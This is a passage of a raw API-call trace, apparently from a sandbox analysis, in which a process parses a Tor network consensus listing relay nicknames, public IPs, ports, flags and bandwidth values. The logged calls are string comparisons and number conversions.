86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19700\nr Neurans AaqlqPTvVXyPn95IMpy4fzt0evQ 2017-08-21 15:54:48 98.206.202.53 443 0\nm PtY0SWQytPM4ocNiJQUol/CgjznBOXez7ve68rpIY5U\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3970\nr wsmith6079 Aa4AK05grlqP9A/bZyYPhasIeK4 2017-08-21 15:58:01 8.37.14.220 9001 9030\nm 1LCI7I00buV1LKcMCBdOZwI2D7DB5ImRiBgjfdlLu1g\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=4050\nr rixtyminutes Aa4t4xQnbIL8zDYDocLzI45lRMk 2017-08-21 15:22:19 149.56.233.142 443 80\nm dsCJtmBbhMsBLi2e3v7B6j1jS9MazB+qe3HvC5M47tI\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10" [0119.874] strlen (_Str="\ndirectory-footer") returned 0x11 [0119.874] memchr (_Buf=0x394142d, _Val=10, _MaxCount=0x11c) returned 0x3941482 [0119.874] strncmp (_Str1="m 87kCjAEsd", _Str2="-----BEGIN ", _MaxCount=0xb) returned 64 [0119.874] strncmp (_Str1="s Fast Runn", _Str2="-----BEGIN ", _MaxCount=0xb) returned 70 [0119.874] strncmp (_Str1="v Tor 0.3.0", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.874] strncmp (_Str1="pr Cons=1-2", _Str2="-----BEGIN ", _MaxCount=0xb) returned 67 [0119.874] strncmp (_Str1="w Bandwidth", _Str2="-----BEGIN ", _MaxCount=0xb) returned 74 [0119.874] htonl (hostlong=0x58b34274) returned 0x7442b358 [0119.874] htonl (hostlong=0x7442b358) returned 0x58b34274 [0119.874] _errno () returned 0x9f07d8 [0119.874] strtol (in: _Str="36543", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 36543 [0119.874] _errno () returned 0x9f07d8 [0119.874] _errno () returned 0x9f07d8 [0119.874] strtol (in: _Str="0", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 0 [0119.874] _errno () returned 0x9f07d8 [0119.874] strcmp (_Str1="Fast", _Str2="Exit") returned 1 [0119.874] strcmp (_Str1="Fast", _Str2="Stable") returned -1 [0119.874] strcmp (_Str1="Fast", _Str2="Fast") returned 0 [0119.874] strcmp (_Str1="Running", _Str2="Exit") returned 1 [0119.874] strcmp (_Str1="Running", _Str2="Stable") returned -1 [0119.874] strcmp (_Str1="Running", _Str2="Fast") returned 1 [0119.875] strcmp (_Str1="Running", _Str2="Running") returned 0 [0119.875] strcmp (_Str1="V2Dir", _Str2="Exit") returned 1 [0119.875] strcmp (_Str1="V2Dir", _Str2="Stable") returned 1 [0119.875] strcmp (_Str1="V2Dir", _Str2="Fast") returned 1 [0119.875] strcmp (_Str1="V2Dir", _Str2="Running") returned 1 [0119.875] strcmp (_Str1="V2Dir", _Str2="Named") returned 1 [0119.875] strcmp (_Str1="V2Dir", _Str2="Valid") returned -1 [0119.875] strcmp (_Str1="V2Dir", _Str2="Guard") returned 1 [0119.875] strcmp (_Str1="V2Dir", _Str2="BadExit") returned 1 [0119.875] strcmp (_Str1="V2Dir", _Str2="Authority") returned 1 [0119.875] strcmp (_Str1="V2Dir", _Str2="Unnamed") returned 1 [0119.875] strcmp (_Str1="V2Dir", _Str2="HSDir") returned 1 [0119.875] strcmp (_Str1="V2Dir", _Str2="V2Dir") returned 0 [0119.875] strcmp (_Str1="Valid", _Str2="Exit") returned 1 [0119.875] strcmp (_Str1="Valid", _Str2="Stable") returned 1 [0119.875] strcmp (_Str1="Valid", _Str2="Fast") returned 1 [0119.875] strcmp (_Str1="Valid", _Str2="Running") returned 1 [0119.875] strcmp (_Str1="Valid", _Str2="Named") returned 1 [0119.875] strcmp (_Str1="Valid", _Str2="Valid") returned 0 [0119.875] strlen (_Str="Tor ") returned 0x4 [0119.875] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.875] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.875] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.875] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.875] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.875] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.875] strlen (_Str="(git-") returned 0x5 [0119.875] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.875] strlen (_Str="Tor ") returned 0x4 [0119.875] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.875] strlen (_Str="(r") returned 0x2 [0119.875] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.875] strlen (_Str="(git-") returned 0x5 [0119.875] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.875] strtol (in: _Str="0.3.0.10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".3.0.10") returned 0 [0119.875] strtol (in: _Str="3.0.10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".0.10") returned 3 [0119.875] strtol (in: _Str="0.10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".10") returned 0 [0119.875] strtol (in: _Str="10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 10 [0119.875] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.875] strlen (_Str="(git-") returned 0x5 [0119.875] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.875] strlen (_Str="Bandwidth=") returned 0xa [0119.875] strncmp (_Str1="Bandwidth=", _Str2="Bandwidth=", _MaxCount=0xa) returned 0 [0119.876] strncmp (_Str1="r ", _Str2="r ", _MaxCount=0x2) returned 0 [0119.876] strstr (_Str="r torbogen AEHgFQsKMHUGwoY+/J8rfjpSOzY 2017-08-21 18:21:54 91.97.53.178 9001 9030\nm 41nHWhtdxaPNpJqBxcRbu7UqGJ+I//dkuN+oJ/nKxaQ\ns Fast Running V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=430\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 